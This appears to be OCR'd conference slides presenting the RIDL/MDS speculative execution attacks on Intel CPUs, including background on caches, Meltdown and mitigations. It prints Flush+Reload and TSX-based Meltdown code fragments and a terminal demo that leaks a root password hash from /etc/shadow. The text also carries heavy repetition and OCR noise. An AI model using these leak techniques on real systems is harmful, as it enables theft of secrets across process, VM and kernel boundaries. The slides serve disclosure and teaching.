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THE CLOUD



ISOLATION

e Processes
e Containers

e Virtual machines



We trust CPUs to isolate virtual machines..



OH-OH!



CPU ERRATA



CPU ERRATA
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Modification of the translation table for a virtual page which is being accessed by an active
process might lead to read-after-write ordering violation

Fallure to enforce read-after-read ordering rules
Reads from DSU CLUSTER™ or ERX" system registers might retum comupted data

Accessing certain Debug or Generic Timer system registers in Adnch32 might cause
incorrect system register values

Interrupt is taken immediately after M3R DAIF instruction masks the interrupt

AArchdz2 T32 CLREX inan [T block will clear exclusive moniter even if it fails condition code
check

Concurrent instruction TLE miss and mispredicted retum instruction might fetch wrong
instruction stream

TLEI WAAE1 or TLEI VAALE1 targeting a page within hardware page aggregated address
translation data in the L2 TLE might cause cornuption of address translation data

Continuous failing STREX because of another core snooping from speculatively executed
atomic behind constantly mispredicted branch might cause livelock

Speculative AT instruction using out-of-context translation regime could cause subsequent
request o generate an incomect iranskation

MRC read following MRRC read of specific Generic Timer in AArch32 might give incomeact
result

The exclusive monitor might end up tracking an incorrect cache line in the presence of a VA-
alias, causing a false pass on the exclusive access sequence

Streaming store under specific conditions might cause deadlock or data corruption

Multiple fioating-point divides/square roots concurmently completing back-to-back and
fiushing back-to-back might cause data cormuption

Concurrent instruction TLB miss and mispredicted branch instruction located at the end of
J2MB region might fetch wrong instruction stream

Translation access hitting a prefetched L2 TLE entry under specific conditions might cormupt
the L2 TLB leading to an incomect iranstation

A T32 instruction inside an IT block followed by a mispredicted speculative instruction stream
might cause a deadiock

Software Step might prevent interrupt recognition

Modification of the translaticn table for a virtual page which = being accessed by an active
process might lead to read-after-read ordering viokation



CPU ERRATA
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CPU ERRATA

Status Errata
. Inte ® CAT/CDP Might Mot Restrict Cacheline Aliocation Under Certain Conditions
Mo Fix .-:ltfe?-:?- Xean® Processor Scalable Famiky)
Mo Fix Intal i PT PSB+ Packets May be Omitted on a C6 Transition
Mo Fix IDI_MISC Performance Monltoring Events May be Inaccurate
Mo Fix Intel® FT OYC Packets Can be Dropped When Immediately Preceding PSB
Mo Fix 1|'Itv.'-_"i"i PT VM-entry Indication Depends on The Incorrect VMCS Controf Field
Ma Fix 1r1tEl.ﬁ MBA Read After MSR Write May Ratum Incorrect Value
No Eix In eMCAZ2 Mode, When The Retirement Watchdog Timeout Occurs
CATERR# May be Asserted
No Fix VEVTPS2PH To Memory May Update MXCSR In The Case of a Fault an
The Store
Mo Fix Irtel® FT May Drop All Packets After-an Internal Buffer Overflow
Mo Fix Non-Zero Values May Appear in ZMM Upper Bits After 55E Instructions
Mo Fix ZMM/YMM Registers May Contain Incorrect Values
No Fix When Virtualization Exceptions are Enabled, EPT Violations May
Generate Erroneous Virtualization Exceptions
E B FT ToPA Tables Read From Mon-Cacheable Memory During an Intel® TSX
Mo Fix ransaction May Lead to Processor Hang
Mo Fix ﬁfﬁgurmmg an XACQUIRE to an Inte]® FT ToPA Table May Lead to Processor
Mo Fix Using Intel E TSX Instructions May Lead to Unpredictable System Behavior
No Fi Reading Some C-state Residency MSRs May Result in Unpredictable
L System Behavior
Mo Fix Performance in an 8sg System May Be Lower Than Expected
Mo Fix Memory May Continue to Throttle after MEMHOT # De-assertion
Mo Fix Unexpected Uncarrected Machine Check Errors May Be Reported




PIPELINES
We blindly trust CPU pipelines

We don’t know how they work



SPECULATIVE EXECUTION



a = compute()

f if (@) 7
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read memory) Lol



EXCEPTION DEFERRAL



TODAY

Intel CPUs are everywhere

Intel has a bounty program



INTEL CPU
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INTEL CPU
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TODAY
One class of Intel pipeline "bugs": MDS



MDS ATTACKS

TE THAT THIS WON'T BE THE LAST SUCH BUC

New speculative execution bug leaks data
from Intel chips’ internal buffers

Intel-specific vulnerability was found by researchers both inside and outside the
company.

PETER BRIGHT - 5A14/2019, 3:10 PM




MDS ATTACKS

Protecting your computer
against Intel’s latest security
flaw is easy, unless it isn't

Spectre is going to haunt us for a very long time

By Dieter Bohn | @backlon | May 17, 2019, 9:12am EDT

iks data

company.

PETER BRIGHT - 5A14/2019, 3:10 PM

Intel-specific vulnerability was found by researchers both inside and outside the




MDS ATTACKS

Protecting your computer
against Intel’s latest security
flaw is easy, unless it isn't

Spectre is going to haunt us for a very long time ks data

By Dieter Bohn | @backlon | May 17, 2019, 9:12am EDT

Intel-specific vulnerability was found by researchers both inside and outside the

SO IS S N T T

RIDL vulnerability hits Intel - new Side Channel Attack potentially is worse than

Spectre and Meltdown
by Hilbert Hagedoorn on: 05/14/2019 08:38 PM | source: volkskrant.nl | 168 comment(s)




MDS ATTACKS

Buffer the Intel flayer: Chipzilla,
Microsoft, Linux world, etc emit fixes
for yet more data-leaking processor
flaws

Protectin
. Intel CPUs dating back a decade are vulnerable to
agalnSt IN{ Jatest cousin of Spectre

fl aw iS ea By Thomas Claburn in San Francisco 14 May 2019 at 17:00 5500 SHARE ¥
Spectre is going to haunt us for a very long time

P I8 for avery fong 1ks data
By Dieter Bohn | @backlon | May 17, 2019, 9:12am EDT

Intel-specific vulnerability was found by researchers both inside and outside the

SO IS S N T T

RIDL vulnerability hits Intel - new Side Channel Attack potentially is worse than

Spectre and Meltdown oo
by Hilbert Hagedoorn on: 05/14/2019 08:38 PM | source: volkskrant.nl | 168 comment(s)




MDS ATTACKS

Protecting "'as

againSt IN{ Jatest cousin of Spectre

Buffer the Intel flayer: Chipzilla,
Microsoft, Linux world, etc emit fixes
for yet more data-leaking processor

Intel CPUs dating back a decade are vulnerable to

fl aw iS eas By Thomas Claburn in San Francisco 14 May 2019 at 17:00 55 SHAREY

Spectre is going to haunt us for a very long time

By Dieter Bohn | @backlon | May 17, 2019, 9:12am EDT

iks data

updates against MDS attacks

Microsoft releases standalone updates containing Intel microcode
mitigations for recently disclosed MDS attacks.

a By Liam Tung |June 4, 2019 -- 12,10 GMT (13:10 BST) | Topic: Security

e and outside the

k potentially is worse than




MDS ATTACKS

TR YT T oo

: ayer: Chipzilla,
RIP Hyper-Threading? ChromeOS axes world, etc emit fixes

flaws — Microsoft, Apple suggest snub
Plug pulled on SMT tech as software makers put k a decade are vulnerable to
security ahead of performance o

By Thomas Claburn in San Francisco 14 May 2019 at 21:14 71 SHARE ¥ 0 14 May 2019 at 17:00 5503 SHARE ¥

Spectre is going to haunt us for a very long time

By Dieter Bohn | @backlon | May 17, 2019, 9:12am EDT

iks data

updates against MDS attacks

Microsoft releases standalone updates containing Intel microcode
mitigations for recently disclosed MDS attacks.

a By Liam Tung |June 4, 2019 -- 12,10 GMT (13:10 BST) | Topic: Security
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Let’s first talk about cache attacks



BACKGROUND

CPU
Registers

/ L1 Cache \
/ L2 Cache \
/ L3 Cache \
/ Main Memory \
/ \

Disk Storage




BACKGROUND

CPU
Registers

/ L1 Cache

A\

A\

/ L2 Cache

L3 Cache

/ Main Memory

\
\

Disk Storage

J3|[ews
JENY=N

J9bueT

J3MO|S



BACKGROUND

J3|[ews
191564

CPU
Registers

/ L1 Cache \
/ L2 Cache \ Cache Hit

L3 Cache

/ Main Memory \ Cache Miss

Disk Storage




FLUSH + RELOAD

| for (i = 0; i < 256; ++i) {
i _mm_clflush(probe + i * 4096); i

i for (i = 0; i < 256; ++i) { i
i __rdtsc(); i
i *x(volatile char *)(probe + i * 4096);i

‘—|-
S
1

dt = __rdtsc() - to;

Probe Array




FLUSH + RELOAD

i for (i = 0; i < 256; ++i) { i
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FLUSH + RELOAD

(for (i=0; i<25; 1) { | ProbeArray
E _mm_clflush(probe + i * 4096); ! ELUSIE]
) i

@ victim

for (i = 0; 1 < 256; ++1i) {
__rdtsc();

‘—|-
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dt = __rdtsc() - to;

i x(volatile char *)(probe + 1 * 4@96)ﬂ



FLUSH + RELOAD

T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T T,

| for (i = 0; i < 256; ++i) { i Probe Array

E _mm_clflush(probe + i * 4096); E

L} i

. FLUSH
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for (i = 0; 1 < 256; ++1i) {
__rdtsc();

‘—|-
S
1

dt = __rdtsc() - to;

i *x(volatile char *)(probe + 1 * 4@96)ﬂ
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FLUSH + RELOAD
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FLUSH + RELOAD

for (i = 0; i < 256; ++i) { i
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FLUSH + RELOAD

i for (i = 0; i < 256; ++i) { Probe Array
i _mm_clflush(probe + i * 4096); i
3 i

@ vicTIv SECRET.

for (i = @; i < 256; ++i) {
__rdtsc();
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dt = __rdtsc() - to;

E *(volatile char *)(probe + 1 * 4@96)ﬂ
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FLUSH + RELOAD

for (i = 0; i < 256; ++i) {
_mm_clflush(probe + i * 4096); i

for (i = 0; i < 256; ++i) { §
__rdtsc(); !
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FLUSH + RELOAD

for (i = 0; i < 256; ++i) { Probe Array

i _mm_clflush(probe + i * 4096); i DRAM
i ) !

@ victim SECRET

i for (i = 0; 1 < 256; ++i) { i
i __rdtsc(); i
: *(volatile char *)(probe + i * 4096);i
] :
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FLUSH + RELOAD

for (i = 0; i < 256; ++i) {
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FLUSH + RELOAD

for (i = 0; i < 256; ++i) {
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FLUSH + RELOAD

i for (i = 0; i < 256; ++i) { Probe Array
i _mm_clflush(probe + i * 4096); i
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__rdtsc();
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FLUSH + RELOAD

i for (i = 0; i < 256; ++i) { Probe Array
i _mm_clflush(probe + i * 4096); i
3 i
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for (i = 0; i < 256; ++i) {
__rdtsc();
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E *(volatile char *)(probe + 1 * 4@96)ﬂ
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PREVIOUS ATTACKS

£y

SPECTRE FORESHADOW
CVE-2017-5115 CVE-2018-3615
CVE-2017-5793 CVUE-2018-3620

CVE-2018-3646



PREVIOUS ATTACKS

e Meltdown
e Spectre
e Foreshadow or L1TF



for (i = 0; i < 256; ++i) { Probe Array
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i x(volatile char x)(probe + i x 4096);
| dt = __rdtsc() - to; i
] :
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i x(volatile char x)(probe + i x 4096);
| dt = __rdtsc() - to; i
] :



for (i = 0; i < 256; ++i) { i
_mm_clflush(probe + i * 4096); ]
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)kaddr;
char *p = probe + 4096 * byte;
*(volatile char *)p;
_xend();

| for (i = 0; i < 256; ++i) { i
| __rdtsc(); ]
i x(volatile char x)(probe + i * 4096);
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if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i x(volatile char *)(probe + i * 4096);
| dt = __rdtsc() - to; i
| :
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if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

i for (i = 0; i < 256; ++i) { i
! __rdtsc(); i
i x(volatile char *)(probe + i * 4096);

L :
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dt = __rdtsc() - to;
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)kaddr;
char *p = probe + 4096 * byte;
*(volatile char *)p;
_xend();

| for (i = 0; i < 256; ++i) { i
i __rdtsc(Q); ]
i x(volatile char x)(probe + i * 4096);
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i for (i = 0; i < 256; ++i) { { _Probe Array
i _mm_clflush(probe + i * 4096); i
B i
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____________________________________________________________
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char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

| for (i = 0; i < 256; ++i) { i
| __rdtsc(); ]
i x(volatile char x)(probe + i * 4096);

P !

‘—|-
S
1

dt = __rdtsc() - to;



Probe Array

|
S
IB
(@]
—
—H
—
c
2
>
N
o
R}
o
o
D
+
.
*
IS
(S
O
(o2}
~

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i x(volatile char x)(probe + i x 4096);
| dt = __rdtsc() - to; i
] :
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i x(volatile char x)(probe + i x 4096);
| dt = __rdtsc() - to; i
] :



for (i = 0; i < 256; ++i) { i
_mm_clflush(probe + i * 4096); ]
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if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatlle char *)kaddr;
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Probe Array
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_xend();

| for (i = 0; i < 256; ++i) { i
| t0 = __rdtsc(); ]
i x(volatile char x)(probe + i * 4096);

i dt = __rdtsc() - to; E
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

t0 = __rdtsc();

i *(volatile char %) (probe + i * 4@96)£
| dt = __rdtsc() - to; i
] :



i for (i = 0; i < 256; ++i) { { Probe Array
i _mm_clflush(probe + i * 4096); ]
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

| for (1 = 0; i < 256; ++i) { §
| __rdtsc(); ]
i x(volatile char x)(probe + i * 4096);
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i for (i = 0; i < 256; ++i) { { Probe Array
i _mm_clflush(probe + i * 4096); ]
B i
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____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

‘—'-
S
1

dt = __rdtsc() - to;



i for (i = 0; i < 256; ++i) { { Probe Array
i _mm_clflush(probe + i * 4096); i /NEEESS
P} i

(3 MELTDOWN SECRET

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

‘—'-
S
1

dt = __rdtsc() - to;



i for (i = 0; i < 256; ++i) { {  Probe Array
i _mm_clflush(probe + i * 4096); i DRAM
L} ;

(3 MELTDOWN SECRET

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)kaddr;
char *p = probe + 4096 * byte;
*(volatile char *)p;
_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

c—'-
S
1

dt = __rdtsc() - to;



i for (i = 0; i < 256; ++i) { { Probe Array

i _mm_clflush(probe + i * 4096); ]

P} i

T [NCEESS
(3 MELTDOWN SEGRET

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

‘—'-
S
1

dt = __rdtsc() - to;



for (i = 0; i < 256; ++i) {

EE

(3 MELTDOWN SECRET

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)kaddr;
char *p = probe + 4096 * byte;
*(volatile char *)p;
_xend();

Probe Array
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P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

c—'-
S
1

dt = __rdtsc() - to;



i for (i = 0; i < 256; ++i) { { Probe Array
i _mm_clflush(probe + i * 4096); ]
B i

(3 MELTDOWN NGGESS

____________________________________________________________

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

‘—'-
S
1

dt = __rdtsc() - to;



e ————

i for (i = 0; i < 256; ++i) { { Probe Array
i _mm_clflush(probe + i * 4096); ]
2 i

(3 MELTDOWN ONCE

if (_xbegin() == _XBEGIN_STARTED) {

char byte = *(volatile char *)kaddr;

char *p = probe + 4096 * byte;
*(volatile char *)p;

_xend();

P for (1 = @; i < 256; ++i) { i
i __rdtsc(); ]
i *(volatile char x)(probe + i * 4096);

P :

‘—'-
S
1

dt = __rdtsc() - to;



MITIGATIONS

 Kernel Page Table Isolation
e Array index masking

e XOR masking



KPTI

Address Space

Userspace

Kernel

Before

Problem: leak kernel data from virtual addresses



KPTI

Address Space

Userspace

Kernel

User Mode

Userspace

Before

Solution: unmap kernel addresses

Kernel Mode

Userspace

Kernel

After




So we have a system with all mitigations in-place



pcnt tsc deadline timer aes xsave avx fl6ec rdrand lahf lm abm 3dnowprefetch
cpuid fault cat 13 cdp 13 invpcid single pti ssbd mba ibrs ibpb stibp tpr_
shadow vnmi flexpriority ept vpid ept ad fsgsbase tsc adjust bmil hle avx2
smep bmi2 erms invpcid rtm cgm mpx rdt a avx512f avx512dq rdseed adx smap c
Lflushopt clwb intel pt avx512cd avx512bw avx512vl xsaveopt xsavec xgetbvl
xsaves cqm 1llc cgm occup llc cgm mbm total cqm mbm local dtherm ida arat pl
n pts hwp hwp act window hwp pkg req flush L1d
[sebastian@sarek ~ 1$ grep . /sys/devices/system/cpu/vulnerabilities/*
/sys/devices/system/cpu/vulnerabilities/1l1tf:Mitigation: PTE Inversion; VM
: conditional cache flushes, SMT vulnerable
/sys/devices/system/cpu/vulnerabilities/meltdown:Mitigation: PTI
/sys/devices/system/cpu/vulnerabilities/spec store bypass:Mitigation: Spec
lative Store Bypass disabled via prctl and seccomp
/sys/devices/system/cpu/vulnerabilities/spectre vl:Mitigation:  user poin
er sanitization
/sys/devices/system/cpu/vulnerabilities/spectre v2:Mitigation: Full generi
retpoline, IBPB: conditional, IBRS FW, STIBP: conditional, RSB filling
[

sebastian@sarek ~ ]$



What can we still do as an attacker?



o
)

[sebastian@sarek ridl ]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

%

[sebastian@sarek ridl 1$ sudo cat /etc/shadow | head -n 1
root:$6$sP/1i.mo6uVKNRIgpV$vyndShgzWmeWI8Bx8RbGCkj2SVvQ.bjgwRafteb6rdnot18ndQkyv

H/wflu.cF3109IeOW/Ub/6CVEdbCIioHplW/:17828:0:99999:7:::

%

[sebastian@sarek ridl ]$ ./hackpasswd root:
root:$6$sP/1i.m6uVkNRIgpV$vyndShgzWmeWI8Bx8RbGCkj25VvQ.bjgwRafeb%

[sebastian@sarek ridl 1%



Meet Rogue In-flight Data Load or RIDL
A new class of speculative execution attacks

that knows no boundaries



Privilege levels are just a social construct



SECURITY DOMAINS

CPU
Thread

Thread

We can leak between hardware threads!



SECURITY DOMAINS

Hypervisor
Enclave
Guest CPU
Kernel Kernel Enclave
User Space User Space Enclave

But can we leak across other security domains?



SECURITY DOMAINS

Hypervisor
Enclave
Guest CPU
Kernel Kernel Enclave
User Space User Space Enclave

Yes, we can!



SECURITY DOMAINS

Hypervisor
Enclave
Guest CPU
Kernel Kernel Enclave
User Space User Space Enclave

We leak from the kernel ...



SECURITY DOMAINS

Hypervisor
Enclave
Guest Guest
Kernel Kernel Enclave
User Space User Space Enclave

... across VMs ...



SECURITY DOMAINS

Hypervisor
Enclave
Guest Guest
Kernel Kernel Enclave
User Space User Space Enclave

... from the hypervisor ...



SECURITY DOMAINS

Hypervisor
Enclave
Guest Guest
Kernel Kernel Enclave
User Space User Space Enclave

... and from SGX enclaves!



We leak across all security domains!



SECURITY DOMAINS

Can we leak in the web browser?



SECURITY DOMAINS

Yes, we can!

 We reproduced RIDL in Mozilla Firefox

» = No need for special instructions



We leak across security domains, and in the browser!



Memory addresses are a social construct too



PREVIOUS ATTACKS

Y O/
®
&

SPECTRE FORESHADOW
CVE-2017-5115 CVE-2018-3615
CVE-2017-57153 CVE-2018-3620

CVE-2018-3646

Previous attacks show we can speculatively leak from addresses



PREVIOUS ATTACKS

£y

SPECTRE FORESHADOW
CVE-2017-5115 CVE-2018-3615
CVE-2017-5793 CVUE-2018-3620

CVE-2018-3646

Our mitigation efforts focus on isolating/masking addresses



e Spectre: access out-of-bound addresses
e Meltdown: leak kernel data from virtual addresses

 Foreshadow: leak from physical address



e Spectre: mask array index to limit address range
 Meltdown: unmap kernel addresses from userspace

 Foreshadow: invalidate physical address



PREVIOUS ATTACKS

e Previous attacks exploit addressing

e Mitigation by isolating/masking addresses



RIDL
RIDL does not depend on addressing:

o = Bypass all address-based security checks

= Makes RIDL hard to mitigate



What CPUs does RIDL affect?



We bought Intel and AMD CPUs from almost every generation since 2008



... and sent the invoices to our professor Herbert Bos






RIDL works on all mainstream Intel CPUs since 2008
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w riimvvalcc

e Operating systems
e Virtual Machine Manager*

System manufacturers have incorporated these updates. Some Intel products may contain hardware mitigations. See
the table below for mitigation details:

Vulnerability and Mitigation Method

Variant 1 Variant 2 ) ) Variant )
Variant 3 Variant 3a Variant
(Bounds (Branch 4
(Rogue Data (Rogue System 5
Processor Check Target . (Rogue
L. Cache Load; Register Read,; (L1
Model Bypass; also [Injection; also System .
also known as also known as ] Terminal
known as known as Register
Meltdown) Meltdown) Fault)

Spectre) Spectre) Read)
Intel® Core™ : : Firmware
. OS/VMM Firmware +OS Hardware Firmware Hardware
19-9900k +0S
Intel® Core™ Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i7-9700k +0S
Intel® Core™ ) . Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i5-9600k +0S

Intel announces Coffee Lake Refresh




w riimvvalcc

e Operating systems

e Virtual Machine Manager*

System manufacturers have incorporated these updates. Some Intel products may contain hardware mitigations. See
the table below for mitigation details:

Vulnerability and Mitigation Method

Variant 1 Variant 2 ) ) Variant )
Variant 3 Variant 3a Variant
(Bounds (Branch 4
(Rogue Data (Rogue System 5
Processor Check Target . (Rogue
L. Cache Load; Register Read,; (L1
Model Bypass; also [Injection; also System .
also known as also known as ] Terminal
known as known as Register
Meltdown) Meltdown) Fault)

Spectre) Spectre) Read)
Intel® Core™ : : Firmware
) OS/VMM Firmware +OS Hardware Firmware Hardware
19-9900k +0S
Intel® Core™ Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i7-9700k +0S
Intel® Core™ ) . Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i5-9600k +0S

In-silicon mitigations against Meltdown and Foreshadow




w riimvvalc

e Operating systems

e Virtual Machine Manager*

System manufacturers have incorporated these updates. Some Intel products may contain hardware mitigations. See
the table below for mitigation details:

Vulnerability and Mitigation Method

Variant 1 Variant 2 : . Variant .
Variant 3 Variant 3a Variant
(Bounds (Branch 4
(Rogue Data (Rogue System 5
Processor Check Target . (Rogue
L. Cache Load; Register Read,; (L1
Model Bypass; also [Injection; also System .
also known as also known as ] Terminal
known as known as Register
Meltdown) Meltdown) Fault)

Spectre) Spectre) Read)
Intel® Core™ Firmware
: OS/VMM Firmware +OS Hardware Firmware Hardware
19-9900k +0S
Intel® Core™ Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i7-9700k +0S
Intel® Core™ ) . Firmware
] OS/VMM Firmware +OS Hardware Firmware Hardware
i5-9600k +0S

Let’s buy the Intel Core 19-9900K!




... and send another invoice to our professor Herbert Bos



We got it the day after we submitted the paper

RIDL works regardless of these in-silicon mitigations









AMD

We also tried to reproduce it on AMD



AMD

We also tried to reproduce it on AMD
RIDL does not affect AMD






Runs Great on Intel®




But where are we actually leaking from?



LEAKY SOURCES

= 5 L2 Cache
= || = 256 kiB
— —
@@ 4-way
n
~ | L1d Cache Line Fill
= 5| 32kiB Buffer
@ 8-way (10 entries)
loads Load Buffer Physical
(72 entries) Register File
stores | Store & Forward Buffer Int'eger
(56 entries) Registers
(180 entries)

Jowwo)

__________________________________________________________

____________________________________________

AGU
LOAD
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LOAD

INT ALU
INT DIV
IVEC ALU
IVEC MUL
FP FMA
AES
VEC STR
FP DIV

od
od
od
od
od
od
od
od

Execution Units
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LEAKY SOURCES

= o L2 Cache
|| = 256 kiB
— —
@@ 4-way
n
~ | L1d Cache Line Fill
= 2| 32kiB Buffer
w | 8-way (10 entries)
loads Load Buffer Physical
(72 entries) Register File
stores | Store & Forward Buffer Intfager
(56 entries) Registers
(180 entries)

Previous attacks had it easy, they leak from caches

Jowwo))

__________________________________________________________

____________________________________________

AGU

LOAD

i

AGU

LOAD

INT ALU

INT DIV

IVEC ALU

IVEC MUL

FP FMA

AES

VEC STR

FP DIV

od
od
od
od
od
od
od
od

Execution Units

1 1= 1




LEAKY SOURCES

e ol g L2 Cache
|| = 256 kiB
— —
@7 4-way
n
~ | L1d Cache Line Fill
= 2| 32kiB Buffer
w | 8way (10 entries)
loads Load Buffer Physical
(72 entries) Register File
stores | Store & Forward Buffer Intfager
(56 entries) Registers
(180 entries)

Jowwo))

__________________________________________________________

____________________________________________

AGU
LOAD

AGU
LOAD

INT ALU
INT DIV
IVEC ALU
IVEC MUL
FP FMA
AES
VEC STR
FP DIV

Caches are well documented and well understood.

od
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Execution Units
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LEAKY SOURCES

= 5 L2 Cache
= || = 256 kiB
— —
@@ 4-way
n
~ | L1d Cache Line Fill
= 5| 32kiB Buffer
@ 8-way (10 entries)
loads Load Buffer Physical
(72 entries) Register File
stores | Store & Forward Buffer Int'eger
(56 entries) Registers
(180 entries)

But RIDL does not leak from caches!

Jowwo)
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LOAD
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LEAKY SOURCES

L R L2 Cache
|| = 256 kiB
@@ 4-way
n
— | L1d Cache Line Fill
= 2 | 32kiB Buffer
w | 8way (10 entries)
loads Load Buffer Physical
(72 entries) Register File
stores | Store & Forward Buffer Intfager
(56 entries) Registers
(180 entries)

But what else is there to leak from?

Jowwo))

__________________________________________________________

____________________________________________

AGU

LOAD

i

AGU

LOAD

INT ALU

INT DIV

IVEC ALU

FP FMA

AES

VEC STR

+ [IVEC MUL

FP DIV

od
od
od
od
od
od
od
od

Execution Units

1 121 T




LEAKY SOURCES

e | - . L2 Cache
S I 256 kiB ¥
o | |w 4-way B
n o
= [ L1d Cache Line Fill o
gs_| o 32kiB Buffer o
m| 8way (10 entries) N

loads Load Buffer Physicall -
(72 entries) Register File !

stores | | Store & Forward Buffer Int'eger o
(56 entries) Registers 3

(180 entries) g !

I N B — 1 = 1

There are other internal CPU buffers

AGU
LOAD

AGU
LOAD

INT ALU
INT DIV
IVEC ALU
IVEC MUL
FP FMA
AES
VEC STR
FP DIV

od
od
od
od
od
od
od
od

__________________________________________________________

____________________________________________

Execution Units

1 121

[ =11 =1 P R B 1 P



LEAKY SOURCES

S e L2 Cache
3 = 256 kiB
™ w 4-way
n
— [ L1d Cache Line Fill
g5 | S| 32kiB Buffer
w| 8way (10 entries)

stores

Load Buffer
(72 entries)

Store & Forward Buffer

(56 entries)

Physical
Register File

Integer
Registers
(180 entries)

Jowwo))

__________________________________________________________

____________________________________________

AGU
LOAD

AGU
LOAD

INT ALU

INT DIV
IVEC ALU
IVEC MUL

FP FMA

AES

VEC STR

FP DIV

Line Fill Buffers, Store Buffers and Load Ports

od
od
od
od
od
od
od
od

Execution Units

1 1= 1




LEAKY SOURCES

CPU CPU
Core Core
LLC Slice | | LLC Slice
LLC Slice | | LLC Slice
CPU CPU
Core Core

System Agent

Display
Controller

PCle

Memory
Controller

But there is more!




LEAKY SOURCES

CPU CPU
Core Core
LLC Slice | | LLC Slice
LLC Slice | | LLC Slice
CPU CPU
Core Core

System Agent

Display
Controller

PCle

Memory
Controller

Uncached Memory




We can leak from various internal CPU buffers!



RIDL is a class of speculative execution attacks

also known as Micro-architectural Data Sampling



Let’s focus on one particular instance:

Line Fill Buffers



MANUALS

MEM_LOAD_UOPS_RETIRED.HIT_LFB_PS - Counts demand loads that hit in the line fill buffer (LFB). A
LFB entry is allocated every time a miss occurs in the L1 DCache. When a load hits at this location it
means that a previous load, store or hardware prefetch has already missed in the L1 DCache and the
data fetch is in progress. Therefore the cost of a hit in the LFB varies. This event may count cache-line
split loads that miss in the L1 DCache but do not miss the LLC.

On 32-byte Intel AVX loads, all loads that miss in the L1 DCache show up as hits in the L1 DCache or hits
in the LFB. They never show hits on any other level of memory hierarchy. Most loads arise from the line
fill buffer (LFB) when Intel AVX loads miss in the L1 DCache.

e We first read the manuals
e Some references to internal CPU buffers
e But no further explanation

e Where would you even start?



That’s why we started reading patents instead!



We read a lot of patents, and survived!



So today I can tell you a bit more about them



But wait, what are these

Line Fill Buffers?



LINE FILL BUFFERS?

_______________________________________________________________________________________

e | - S L2 Cache ¥
5 — 256 kiB '
— — L
@ w 4-way ®
n DL Execution Units
— | L1d Cache Line Fill '+ [ STORE B
% | 2| 32kiB Buffer by N
- : o AGU ]
@ 8-Way (10 entries) ' LOAD —
AGU B
_________________________________________________ ' |_LOAD
' <
| _ , [INT ALU T
loads Load Buffer Physical . | INT DIV B
(72 entries) Register File ' [IVEC ALU N
+ [IVEC MUL B
Store & Forward Buffer Integer o 1 [FPEMA 1
stores . Registers S | __AES i
(56 entries) 1809 . g VEC STR T\
entries =
A Milbg ([ FPDV | 33338338383

Central buffer between execution units, Lid and L2 to improve memory throughput



LINE FILL BUFFERS?

L2 Cache
256 kiB
4-way

L1d Cache
32 kiB

Line Fill
Buffer

__________________________________________________________

Load Buffer
(72 entries)

e [ —
= N
— —
-
- w
n
gs
loads ‘
stores

Store & Forward Buffer

(56 entries)

Central buffer between execution units, Lid and L2 to improve memory throughput

Physical
Register File
Integer A
Registers 5
(180 entries) g

(2 Out-of-Order Engine

AGU
LOAD

AGU
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INT ALU
INT DIV
IVEC ALU
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FP DIV
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o

Execution Units
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e
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LINE FILL BUFFERS?

_______________________________________________________________________________________

e | - S L2 Cache N
4 — 256 kiB o
